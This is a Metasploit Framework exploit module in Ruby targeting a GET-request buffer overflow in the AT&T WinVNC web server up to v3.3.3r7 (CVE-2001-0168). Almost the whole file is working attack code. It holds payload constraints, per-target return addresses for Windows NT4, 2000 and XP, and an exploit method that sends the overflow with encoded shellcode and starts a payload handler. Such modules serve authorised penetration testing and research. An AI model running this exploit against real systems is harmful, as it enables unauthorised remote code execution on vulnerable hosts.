78 lines
1.9 KiB
Ruby
Executable File
78 lines
1.9 KiB
Ruby
Executable File
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/projects/Framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'WinVNC Web Server <= v3.3.3r7 GET Overflow',
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'Description' => %q{
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This module exploits a buffer overflow in the AT&T WinVNC version
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<= v3.3.3r7 web server. When debugging mode with logging is
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enabled (non-default), an overly long GET request can overwrite
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the stack. This exploit does not work well with VNC payloads!
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},
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'Author' => 'patrick',
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'License' => MSF_LICENSE,
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'BID', '2306' ],
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[ 'OSVDB', '6280' ],
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[ 'CVE', '2001-0168' ],
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],
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'Privileged' => true,
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'thread',
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},
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'Payload' =>
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{
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'Space' => 979,
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'BadChars' => "\x00\x09\x0a\x0b\x0c\x0d\x20\x0b",
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'StackAdjustment' => -3500,
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},
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'Platform' => ['win'],
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'Targets' =>
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[
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[ 'Windows NT4 SP3-6', { 'Ret' => 0x779f4e39 } ], # push esp, ret msvcrt.dll
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[ 'Windows 2000 SP1-4', { 'Ret' => 0x77bba3af } ], # jmp esp comctl32.dll
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[ 'Windows XP SP0-1', { 'Ret' => 0x71ab7bfb } ], # jmp esp ws2_32.dll
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],
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'DisclosureDate' => 'Jan 29 2001',
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'DefaultTarget' => 1))
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register_options(
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[
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Opt::RPORT(5800),
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],self.class)
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end
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def exploit
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sploit = '/' + payload.encoded + [target['Ret']].pack('V')
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sploit << make_nops(8) + Rex::Arch::X86.jmp(0xfffffc1c)
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res = send_request_raw({
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'uri' => sploit,
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'method' => 'GET',
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}, 5)
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handler
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end
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end |